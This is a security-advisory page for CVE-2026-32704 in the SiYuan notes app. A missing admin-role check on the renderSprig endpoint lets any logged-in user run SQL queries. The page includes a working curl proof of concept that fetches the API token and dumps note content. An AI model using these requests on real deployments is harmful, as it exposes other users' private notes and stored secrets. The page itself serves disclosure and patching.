KEVWire

Security intelligence, with context.

Response snapshot Nov 5, 2026, 23:11 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-32704

SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB

POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes. File: kernel/api/router.

At a glance

Exploited
Not known
Severity
6.5 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 3.6.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-4j3x-hhg2-fm2x (opens a new tab)

What happened

Summary

POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

Details

File: kernel/api/router.go

Continue reading

Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:

// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
 model.CheckAuth, renderSprig)

// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
 model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)

renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:

(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
 ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
 return
}

Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
 -v $(pwd)/workspace:/siyuan/workspace \
 b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
 -H "Content-Type: application/json" \
 -d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15 # wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
 -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
 | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")

# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
 -H "Authorization: Token $TOKEN" \
 -H "Content-Type: application/json" \
 -d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'

Confirmed response on v3.6.0:

{"code":0,"msg":"","data":"[{\"n\":0}]"}

Full note dump:

curl -s -X POST http://localhost:6806/api/template/renderSprig \
 -H "Authorization: Token $TOKEN" \
 -H "Content-Type: application/json" \
 -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'

Impact

Any authenticated user (API token holder, Publish Service Reader) can: - Dump all note content and document hierarchy from the workspace - Exfiltrate tags, custom attributes, block IDs, and timestamps - Search notes for stored passwords, API keys, or personal data - Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

Affected package ranges reported by GitHub: github.com/siyuan-note/siyuan/kernel: <= 3.6.0

Scores and how they were measured

CVSS base severity

6.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-4j3x-hhg2-fm2x (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-4j3x-hhg2-fm2x, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 5). SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB (CVE-2026-32704). https://kevwire.com/record/CVE-2026-32704

MLA

"SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB (CVE-2026-32704)." KEVWire, 5 Nov. 2026, kevwire.com/record/CVE-2026-32704.

Chicago

KEVWire. "SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB (CVE-2026-32704)." Last modified November 5, 2026. https://kevwire.com/record/CVE-2026-32704.

Evidence summary (plain text)

SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB (Mar 13, 2026).
POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

File: kernel/api/router.go

Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:

renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:

Any authenticated user - including Publish Service Reader role accounts - can call this…
CVSS 6.5 (version 3.1; evidence as of Nov 5, 2026; https://github.com/advisories/GHSA-4j3x-hhg2-fm2x).
Sources:
GitHub-reviewed advisory GHSA-4j3x-hhg2-fm2x: https://github.com/advisories/GHSA-4j3x-hhg2-fm2x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-32704.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 5, 2026, 23:10 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail